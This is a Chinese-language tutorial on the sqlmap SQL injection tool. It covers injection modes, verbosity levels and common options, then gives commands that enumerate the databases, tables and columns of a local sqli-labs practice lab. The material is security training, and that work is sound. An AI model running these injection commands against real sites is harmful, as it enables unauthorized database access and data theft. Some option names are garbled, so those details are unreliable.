自动化SQL注入工具sqlmap

sqlmap

sqlmap简介

sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用 SQL 注入漏洞,获取数据 库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括 获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

官方网址:http://sqlmap.org

sqlmap支持以下5种注入模式:

(1)基于布尔的盲注。可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注。不能根据页面返回内容判断任何信息,而是用条件语句查看
时间延迟语句是否执行来判断。
(3)基于报错注人。即页面会返回错误信息,或者把注入语句的结果直接返回到页
面中。
(4)联合查询注入。可以使用union的情况下的注入。
(5)堆查询注入。可以同时执行多条语句的情况下的注入。

sqlmap支持以下7种显示等级:

等级0:只显示Python错误以及严重问题的信息。
等级1:在显示以上信息的同时显示基本信息和警告信息(默认)。
等级2:在显示以上信息的同时显示debug信息。
等级3:在显示以上信息的同时显示注入的payload。
等级4:在显示以上信息的同时显示HTTP请求。
等级5:在显示以上信息的同时显示HTTP响应头。
等级6:在显示以上信息的同时显示HTTP响应页面。

sqlmap常用参数如下:

(1)-u或者-url,指定注入日标URL。例如:
sqlmap -u http://ip/index.php?id=1
(2)-dbms,指定数据库。例如:
sqlmap -u http://ip/index.php?id=1 --dbms=mysql
(3)一os,指定操作系统。例如:
sqlmap -u http://ip/index.php?id=1 --os=Windows
(4)-flush-session,刷新缓存。例如:
sqlmap -u http://ip/index.php?id=1 --flush-session
(5)一proxy,指定代理。例如:
sqlmap -u http://ip/index.php?id=1 --proxy http://ip:port
(6)-user-agent,指定user-agent信息。例如:
sqlmap -u http://ip/index.php?id=1 --user-agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0'
(7)-data,数据以POST方式提交。例如:
sqlmap -u http://ip/index.php--data="id=1"

sqlmap注入示例

image-20230324141732492

以sqli第一关为例

列出当前数据库

python sqlmap.py -u http://127.0.0.1/02bachang/sqli-labs-master/Less-1/?id=1 --current-db

image-20230324141946898

列出security数据库所有的表

python sqlmap.py -u http://127.0.0.1/02bachang/sqli-labs-master/Less-1/?id=1 -D "security" --tables

image-20230324142152484

列出security数据库users表中的所有列

python sqlmap.py -u http://127.0.0.1/02bachang/sqli-labs-master/Less-1/?id=1 -D "security" -T "users" --column

image-20230324142325467

列出security数据库users表中的id、username、password列的数据

image-20230324142531860